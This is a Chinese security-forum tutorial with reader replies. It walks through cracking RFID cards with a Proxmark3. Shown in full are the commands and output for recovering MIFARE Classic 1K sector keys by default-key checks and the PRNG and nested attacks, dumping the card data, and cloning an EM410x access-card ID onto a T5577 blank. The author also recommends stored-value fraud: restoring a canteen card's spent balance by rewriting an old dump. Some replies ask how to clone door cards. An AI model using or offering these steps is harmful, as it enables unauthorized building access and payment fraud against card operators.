首页
社区
课程
招聘
[原创]RFID安全:浅谈卡片破解
2018-3-9 13:34 50782

[原创]RFID安全:浅谈卡片破解

2018-3-9 13:34
50782

闲来无事,就去淘了块Proxmark3,用来研究卡片破解,AU122也可以嗅探,但是远远不及Proxmark3,无论是价格还是配置方面,最近这段时间,PM3 要出 V4.0版本,将会拥有变色龙(德国友人做的一款同样的RFID安全设备)的能力。

  • RFID技术简介

射频识别,RFID(Radio Frequency Identification)技术,又称无线射频识别,是一种通信技术,可通过无线电讯号识别特定目标并读写相关数据,而无需识别系统与特定目标之间建立机械或光学接触。
射频的话,一般是微波,1-100GHz,适用于短距离识别通信。
RFID读写器也分移动式的和固定式的,目前RFID技术应用很广,如:图书馆,门禁系统,食品安全溯源等。

 

RFID层次的安全问题,我只用一些较常见的卡片写在本文进行探讨,全加密卡,CPU卡,以及金额修改等相关详细我并不会在此文写出。

 

常见的卡片

 

1.Mifare S50 (简称M1) 频率是高频 13.56M 这是最常见的卡,每张卡独一无二UID号,可存储或者修改数据,类似卡片有(学生卡。饭卡,公交卡,门禁卡)

 

2.Mifare UItarlight(简称MO) MO卡片频率是高频,成本很低,出厂的时候写死了UID,可存储修改数据,类似卡片(地铁卡,公交卡)

 

3.Mifare UID (简称UID卡) 频率是高频 是属于M1卡的变异版本,可修改UID卡,俗称的魔术卡,可以克隆完整的 M1 S50 的数据。

 

4.EM4XX (简称ID卡) 频率是低频 用的地方是低成本的门禁卡,小区门禁卡,停车场门禁卡这种,特点是 只能读,不能写。

 

5.T5577 (可随意修改ID卡) 频率低频,特点是可以用来克隆ID卡,出厂设置就是空卡。

 

6.HID Prox II (简称 HID) 频率低频 特点是可以插写。

 

设备信息如下:

 

Proxmark3,支持低高频的读写克隆,支持暴力破解密码,支持漏洞攻击。

 

图片描述

 

右侧是一块高频信息读取区,左边包含了USB接口和几个小彩灯,以及各种芯片若干。

 

卡片信息如下:
图片描述

 

上文所说明的卡,基本都齐了,我待会会用各种卡片进行讲解。

 

安装完成大概是这个样子。

 

图片描述

 

红圈的地方就是低频读卡区,将卡片放在这个位置即可读取。
静静靠着他的地方,即是高频所在的区域。

 

思路:

 

卡片的安全性测试,我个人的总体流程就是如下:
首先,判断卡的类型,是IC还是ID。
如果是ID卡,那么

读卡片ID→换白卡→写入ID卡号→克隆完成→攻击成功

ID卡是低频卡,思路比较简单,IC卡为高频卡,攻击的思路可不少。

 

IC卡的总体思路如下:
漏洞测试→获取全卡数据→换上UID卡→写入数据→攻击成功
如果执行数据修改,思路如下:
漏洞测试→读全卡数据→解密卡片数据→破解厂商算法→修改数据→攻击成功。

 

IC卡攻击思路如下:
1.获得任意扇区的密码
1.1 PRNG漏洞攻击得到0扇区的密码
1.2 默认密码扫描获得密码
1.3 嗅探读卡机和卡片交互的时候获得密码,这种方式需要现场进行交互,不太方便。

 

2.利用 MFOC漏洞,可以暴力破解得到所有扇区的密匙。

  • M1 S50卡片破解实录

实验环境是Windows7,我没有使用Linux的,我的Linux机器是Kali linux版本,没有安装相关的驱动,就用Window的命令行进行演示。

 

图片描述

 

使用命令 hw tune 测试高低频的天线是否没有问题,这里给出了频率,说明硬件正常工作中,进入下一步的测试。

 

1.检测卡的类型

 

这条命令可以用来检测卡是属于什么卡,命令为 hf 14a reader

 

我们将我们的测试卡放置到读卡区内,输入命令进行读取。

 

返回结果:

proxmark3> hf 14a reader
ATQA : 00 04
 UID : c0 68 ca d4
 SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
proxmark3>

TYPE即是他的卡片属性,当你看到“NXP MIFARE CLASSIC 1k | Plus 2k SL1”的时候,就代表这是M1 S50的卡片,这种卡片出厂就是自带了加密的,密码不可以取消。既然知道了是什么卡片,那么就可以进行安全测试。

 

2.暴力破解卡片密码
上文我们讲到了M1 S50卡片出厂自带的密码,那么我们想知道其中的数据,肯定要先对卡片进行一次密码破解,关于密码破解的命令如下:

hf mf chk *1 ? t

这条命令会枚举每个扇区的密码,然后执行一系列自动操作。
图片描述
如图所示,Proxmark3开始执行破解,可以从图中看到,已经获得了一些明文密钥,

proxmark3> hf mf chk *1 ? t
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block:  3, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 1, block:  7, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 2, block: 11, key type:A, key count:13
Found valid key:[ffffffffffff]
--sector: 3, block: 15, key type:A, key count:13

贴出了部分返回信息,可以看到,Promark3自带的字典密码都已经显示,此时Proxmark3是开始测试常用的密码,接下来会用这些密码去验证扇区的密码。

 --sector: 0, block:  3, key type:A, key count:13
    Found valid key:[ffffffffffff]

这条命令需要说明的是,这代表了验证成功,0扇区的卡片密码是“ffffffffffff",如果卡片不存在这个默认的密码,则不会出现提示。

 

有意思是,Proxmark的字典里自带的这12种密码,包含了世界范围内发行的RFID卡片默认出厂钥匙,而国内的卡片出厂一般都是“ffffffffffff”

 

3.执行漏洞攻击

 

接下来我们可以用PRNG漏洞进行攻击,命令如下:

hf mf mifare

图片描述

 

通过这种方式同样可以获得卡片的Key,但并不是所有的卡片都存在这种漏洞,如果不存在PRNG漏洞,就需要使用另外的方法来获得卡片的Key

 

4.得到卡片的所有密码
上面我提到了,对于IC卡,只需要获得一个密码就可以了,因为我们在后边可以用暴力破解的方式进行获取全卡密码。

 

它的指令如下:

hf mf nested 1 0 A FFFFFFFFFFFF d

这是利用一个认证漏洞,可以使用任何一个扇区的密码来获取所有扇区的密码,这种破解方式的成功率相当高。

 

图片描述

-----------------------------------------------
Iterations count: 12


|---|----------------|---|----------------|---|
|sec|key A           |res|key B           |res|
|---|----------------|---|----------------|---|
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|010|  740f6dXXXXXX  | 1 |  740f6dcXXXXX  | 1 |
|011|  740f6dXXXXXX  | 1 |  740f6dXXXXXX  | 1 |
|012|  740f6dXXXXXXX | 1 |  740f6dXXXXXX  | 1 |
|013|  740f6dXXXXXX  | 1 |  740f6XXXXXXX  | 1 |
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
proxmark3>

RES的意思是代表结果,1是密码正确,0代表密码错误。

 

既然我们已经知道了卡所有扇区的密码,即可导出分析了。

 

5.导出数据

 

卡片已经攻击完成,获得了所有密匙,那么执行最后的操作,来导出卡片数据以供我们分析。

 

其实在上条命令里就已经生成了数据文件,bin后缀。

 

如果要写入其他卡片,需要将bin格式转换为eml格式,这个格式才会被Proxmark3调取并写入其他卡片。

 

IC卡破解总结:
克隆比较简单,修改金额要算算法,相对麻烦,不过我提供一个思路,比如修改饭卡,第一次充值200进去,把全卡数据读出来,保存。接下来你放心吃,安心吃,200吃完了,把上次保存的200饭卡数据重新写入,这样卡里又是200,你又可以安心吃了,比算算法简单十倍百倍,不过我希望你不会发生意外。

 

注:日后若是惹祸,不要把为师说出来就行了,你就说这是你自己原创的。

 

ID卡的破解实例

 

ID卡低频卡的破解方法较为简单,直接读取卡号就行,因为生活中的低频卡,都是写死了ID号,也就只能用克隆的方式进行。

proxmark3> lf search
#db# Sampling config:
#db#   [q] divisor:           95
#db#   [b] bps:               8
#db#   [d] decimation:        1
#db#   [a] averaging:         1
#db#   [t] trigger threshold: 0
#db# Done, saved 40000 out of 40000 seen samples at 8 bits/sample

#db# buffer samples: 08 00 00 00 00 00 00 00 ...
Reading 20000 bytes from device memory

Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
  if it finds something that looks like a tag
False Positives ARE possible


Checking for known tags:

EM410x pattern found:

EM TAG ID      : 700026f685
Unique TAG ID  : 0e00646fa1

Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8          : 02553477
DEZ 10         : 0002553477
DEZ 5.5        : 00038.63109
DEZ 3.5A       : 112.63109
DEZ 3.5B       : 000.63109
DEZ 3.5C       : 038.63109
DEZ 14/IK2     : 00481038890629
DEZ 15/IK3     : 000060136124321
DEZ 20/ZK      : 00140000060406151001
}
Other          : 63109_038_02553477
Pattern Paxton : 1882928261
Pattern 1      : 0x19F295 - 1700501
Pattern Sebury : 63109 38 2553477  (hex: F685 26 26F685)

Valid EM410x ID Found!
proxmark3>

文中的“700026F685”即是这张ID卡的卡号。

 

接着换上新的卡片,写入数据,执行克隆卡号的攻击。

proxmark3> lf em4x em410xwrite 700026F685 1 64
Writing T55x7 tag with UID 0x700026f685 (clock rate: 64)          
proxmark3> #db# Started writing T55x7 tag ...                 
proxmark3> #db# Clock rate: 64                 
proxmark3> #db# Tag T55x7 written with 0xffbc000159e6454e

这样子,一次ID卡的攻击也完成了。

  • 无卡破解

无卡破解需要一定的成本,比如需要将Proxmark3进行改装,一直用供电,然后使Proxmark3发出模拟卡片的信号,让Proxmark本身变成一张ID卡。

 

我在写这篇文章的几天前录了一次电梯门卡的破解过程,但是很无语的地方是,我的iPhone中了特殊字符攻击,直接导致了白苹果,下场就是刷机了,视频搞丢了,只有一份发在朋友圈的10秒视频。

 

原本我已经找到了一个较为模糊的完整版视频,但是,我尝试了各个视频网进行外链提供播放,都给我删了,不过审。

 

也有可能是视频我录的太直接了...

 

最后,RFID射频技术应用的场景很多,有兴趣的同学可以继续深入。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2019-2-1 18:52 被admin编辑 ,原因: 图片本地化
收藏
点赞3
打赏
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  yjmwxwx   +2.00 2019/03/05
最新回复 (31)
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
0
666啊老铁
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
0
智障
雪    币: 2595
活跃值: (1607)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2018-3-9 15:05
4
0
楼上那位同学请坐好,不要调皮了。
雪    币: 2434
活跃值: (2302)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
gtict 2018-3-9 15:59
5
0
6666666666666
雪    币: 200
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
仙游梦回 2018-3-15 13:40
6
0
最近在玩PM3,破解密码确实挺给力,但没算法基本纯属看看。玩玩小区门禁之类的还好。违禁的事最好别做。
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_吖①一碗水 2018-4-1 20:14
7
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wx_kx45816 2018-4-1 22:36
8
0
坐等嗅探篇
雪    币: 1485
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
洛耶 2018-4-2 07:05
9
0
666
雪    币: 7802
活跃值: (148)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
guobing 2018-4-2 15:45
10
0
请叫我雷锋,,不谢~~之前买过一个玩了玩,现在吃灰中...
上传的附件:
雪    币: 201
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hackliu 2018-5-8 12:59
11
0
变色龙嗅探有没有研究
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
heroma 2018-5-16 15:55
12
0
能直接修改低频卡的卡号吗?有2张低频门禁卡a和b,想把b的低频卡号修改成a的,求问可以实现不?用什么命令。
雪    币: 18
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
wltext 2018-5-16 18:00
13
0
学生党,要不起。只能玩玩acr122u。。。
雪    币: 7076
活跃值: (3468)
能力值: ( LV12,RANK:340 )
在线值:
发帖
回帖
粉丝
bxc 6 2018-6-8 08:35
14
0
知乎上好像也有个人叫毅种循环。
雪    币: 2595
活跃值: (1607)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2018-6-8 22:54
15
0
bxc 知乎上好像也有个人叫毅种循环。
哈哈  不是一个人哈  这是李毅吧的一个梗
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Trojians 2018-9-13 19:45
16
0
这是目前看到的解释和使用PM3最为清晰的一篇文章谢谢大佬!
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
loooooooong 2018-9-29 21:45
17
0
不能把老师给忘了,被发现第一个报老师名字,吓死他们
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
庙前小二郎 2018-9-29 21:47
18
0
厉害了,大牛
雪    币: 20
活跃值: (60)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
最爱季节 2019-1-16 18:19
19
0
老师,设备下来的多少钱呢?
雪    币: 2595
活跃值: (1607)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2019-1-16 20:57
20
0
最爱季节 老师,设备下来的多少钱呢?
400左右吧当时买的时候
雪    币: 237
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
孤星轨迹 2019-1-19 11:54
21
0
老师的视频能发一份给我学习用么?
雪    币: 282
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
bryan联 2019-2-14 15:51
22
0
老师,问下我这有2套刷M1卡系统想一张卡通用,a系统用了2-5扇区,b系统用了3-5扇区,用a系统的卡(厂家说是没加密)怎样刷b系统(卡是加密的)?
雪    币: 2595
活跃值: (1607)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
毅种循环 2 2019-2-14 17:48
23
0
bryan联 老师,问下我这有2套刷M1卡系统想一张卡通用,a系统用了2-5扇区,b系统用了3-5扇区,用a系统的卡(厂家说是没加密)怎样刷b系统(卡是加密的)?
不知道具体实现方式,好久没搞过了,我想想再回你
雪    币: 240
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
月光下的你_442489 2019-2-18 17:51
24
0
楼主 可以给我你的QQ号吗  好直接交流  
雪    币: 2375
活跃值: (433)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
petersonhz 2019-2-28 17:50
25
0
毅种循环 400左右吧当时买的时候
所有ic卡可破么?
游客
登录 | 注册 方可回帖
返回